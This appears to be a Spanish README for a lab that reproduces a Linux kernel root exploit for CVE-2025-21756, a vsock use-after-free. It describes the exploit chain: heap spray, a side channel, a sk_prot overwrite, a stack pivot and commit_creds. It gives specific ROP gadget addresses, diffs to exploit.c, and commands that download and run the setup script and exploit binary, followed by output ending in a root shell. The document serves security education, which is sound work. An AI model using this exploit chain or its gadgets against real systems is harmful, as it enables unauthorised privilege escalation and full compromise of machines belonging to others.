
Laboratorio educativo que demuestra una explotación de use-after-free (UAF) en el subsistema vsock del kernel de Linux para escalada local de privilegios a root, con configuración automatizada y análisis de cadena ROP.
Solo para fines educativos y de investigación de seguridad autorizada.
CVE-2025-21756 es una vulnerabilidad de use-after-free (UAF) en el subsistema vsock (Virtual Socket) del kernel de Linux, divulgada el 26 de febrero de 2025. Permite a un atacante local escalar privilegios a root en sistemas Linux afectados.
net/vmw_vsock/af_vsock.cEl error ocurre durante la reasignación de transporte de un socket vsock. La secuencia vulnerable es:
vsock_create() crea el socket con refcnt=2 y lo inserta en la lista de no vinculadostransport->release() llama a vsock_remove_bound() sin comprobar si el socket se movió a la lista de vinculados, decrementando incorrectamente refcntvsock_bind() asume que el socket sigue en la lista de no vinculados y llama a _vsock_remove_bound() de nuevorefcnt llega a 0 prematuramente → el objeto vsock se libera mientras aún está referenciado → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() con CIDs que producen transportes diferentes hacen que el objeto vsock se libere prematuramente mientras sigue enlazado en vsock_bind_tableunix_dgram_sendmsg con mensajes de orden 2 (MIGRATE_UNMOVABLE), rellenándola con datos controladosvsock_diag_dump (no protegido por AppArmor) se utiliza como canal lateral para detectar cuándo se reasignó la página y localizar el desplazamiento exacto del objeto víctima dentro de la páginask->sk_prot se sobrescribe para que apunte a udp_prot+0x1c0 (udp_abort), que al ser invocado llama a sk->sk_error_report(sk), cuyo puntero se sobrescribe con un gadget de stack pivotcommit_creds(init_cred) para asignar credenciales de root al proceso, seguido del trampolín KPTI para volver al espacio de usuarioexecve("/bin/sh") con uid=0sudo# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Run as a normal user (not root)
./setup-lab.sh
El script se encarga automáticamente de:
sudo si no está disponiblebuild-essential, qemu-system-x86, bc, pahole, etc.)lts-6.6.75, rootfs, ramdisk)run_lab.sh como único punto de entradacd ~/cve-2025-21756-lab
./run_lab.sh
Una vez que el entorno arranque, ejecuta lo siguiente dentro de él:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
Para salir: Ctrl-A X
El exploit base es de ktranowl. Se aplicaron las siguientes modificaciones para que funcione en este entorno:
Modificación: se añadió nokaslr a los parámetros de arranque del kernel.
Motivo: El exploit original evade KASLR usando EntryBleed, una técnica de canal lateral basada en la temporización de la TLB que requiere una temporización precisa de la CPU. En un entorno de virtualización anidada, la precisión de rdtsc es insuficiente para que EntryBleed funcione de forma fiable, lo que produce una kbase incorrecta que hace que todas las direcciones calculadas con ADDRESS() sean erróneas. Deshabilitar KASLR garantiza que el kernel siempre cargue en 0xffffffff81000000 y que los desplazamientos hardcodeados del exploit sean siempre correctos.
user_rip cambiado de modeprobe_exec a check_rootModificación en exploit.c:
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;
// After
uint64_t user_rip = (uint64_t)check_root;
Motivo: modeprobe_exec es la técnica de escalada de privilegios utilizada en el exploit original para el entorno kCTF remoto. Requiere argumentos de línea de comandos (IP y puerto de un servidor remoto) y conectividad de red externa. Sin esos argumentos, el proceso falla con un GPF al intentar leer argv[1]. check_root verifica directamente el uid y ejecuta /bin/sh, lo que es suficiente para demostrar la explotación en un entorno local.
modeprobe_exec dentro de check_rootModificación en exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removed
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Motivo: Incluso con user_rip apuntando a check_root, esta función llamaba internamente a modeprobe_exec de nuevo antes de ejecutar /bin/sh. Sin los argumentos requeridos, esa llamada provocaba un GPF y el proceso terminaba sin abrir una shell, a pesar de que commit_creds ya había escalado privilegios correctamente.
Durante el proceso de configuración del laboratorio, todos los símbolos del kernel y los gadgets ROP se verificaron contra el kernel oficial kCTF lts-6.6.75 para confirmar que eran válidos para este entorno.
Los tres gadgets utilizados en el exploit se extrajeron del kernel oficial usando ROPgadget sobre el binario vmlinux y se confirmó que coinciden exactamente con los valores hardcodeados:
| Gadget | Dirección | Propósito |
|---|---|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Stack pivot — mueve RSP al inicio del objeto vsock controlado |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Avance de pila — omite los campos reservados para alcanzar la cadena ROP |
pop rdi ; ret | 0xffffffff8115e4f9 | Carga el primer argumento para commit_creds(init_cred) |
Ninguno de ellos requirió modificación.
Los siguientes símbolos se verificaron contra /proc/kallsyms dentro del kernel (con nokaslr, los desplazamientos son fijos):